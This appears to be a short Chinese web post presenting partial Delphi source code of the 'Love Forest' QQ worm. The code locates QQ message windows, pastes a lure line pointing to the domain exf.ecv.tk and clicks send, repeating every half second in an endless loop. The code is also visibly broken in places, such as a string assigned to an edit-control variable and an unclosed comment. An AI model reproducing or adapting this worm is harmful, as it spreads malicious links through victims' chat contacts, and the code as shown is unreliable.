naoga

爱情森林病毒部分源代码

unit qqworm;
interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, forms,
Dialogs, StdCtrls, ExtCtrls, ComCtrls;

private
    { Private declarations }
    procedure MySendMessage;
    procedure MyTalkEach;
public
     procedure QQStart;
    { Public declarations }
end;

implementation

{$R *.dfm}

procedure MySendMessage;
var
hParent,hButton,hMemo,clp: HWND;
texta:TCustomEdit;
begin
texta:='btw...给你一个惊喜——exf.ecv.tk';
texta.CopyToClipBoard;      
try
// 找发送消息的QQ 窗口
    hParent := FindWindow(nil, '发送消息');
// 然后找回话时用的编辑窗口,Point 函数用于返回一个TPoint 类型变量
    hMemo := ChildWindowFromPointEx(hParent, Point(50, 100),CWP_ALL);
// 找到“送讯息”按钮的句柄
    hButton := FindWindowEx(hParent,0,nil,'送讯息(&S)');
    if (hParent = 0) or (hMemo = 0) or (hButton = 0) then
        {MessageBox(Handle,' 没有找到发送窗口,请重试! ',' 错误',     MB_ICONWARNING)}
         MyTalkEach
    else
        begin
// 向发送消息中的回话编辑框发送粘贴消息
        SendMessage(hMemo,WM_PASTE,0,0);
// 向“送讯息”按钮送单击消息以模仿按键发送回话
        SendMessage(hButton,BM_CLICK,0,0);
    end;
except
// 如果发生意外错误给出提示
    MyTalkEach;
    {MessageBox(Handle,' 发送消息出错,请重试! ' , ' 错误' ,     MB_ICONWARNING);

end;

end;
procedure MyTalkEach;
var
hParent,hButton,hMemo: HWND;
texta:TCustomEdit;
begin
texta:='btw...给你一个惊喜——exf.ecv.tk';
texta.CopyToClipBoard;  

try
// 找对话模式中窗口
//ShowMessage('test');
hParent := FindWindow(nil, '对话模式');
// 找到对话模式中的回话编辑框
hMemo := ChildWindowFromPointEx(hParent, Point(50, 300),
CWP_ALL);
hButton := FindWindowEx(hParent,0,nil,'送讯息(&S)');
// 如果有任何一个句柄没有找到都不能完成发送,并给出提示
//if hMemo=0 then
//     ShowMessage('1');
if (hParent = 0) or (hMemo = 0) or (hButton = 0) then begin
{MessageBox(Handle,' 没有找到发送窗口,请切换到双人对话模式! ',' 错误',
MB_ICONWARNING);}
MySendMessage;
//ShowMessage('go');
end
else
begin
// 向对话模式中的回话编辑框发送粘贴消息
    SendMessage(hMemo,WM_PASTE,0,0);
// 向“送讯息”按钮送单击消息以模仿按键发送回话
SendMessage(hButton,BM_CLICK,0,0);
end;
except
// 如果发生意外错误给出提示
MySendMessage;
{MessageBox(Handle,' 发送消息出错,请重试! ' , ' 错误' ,
MB_ICONWARNING);}
end;
end;

procedure QQStart;
var
k:integer;
Begin
k:=0;
while k=0 do
Begin
Sleep(500);
MySendMessage;
End;

评论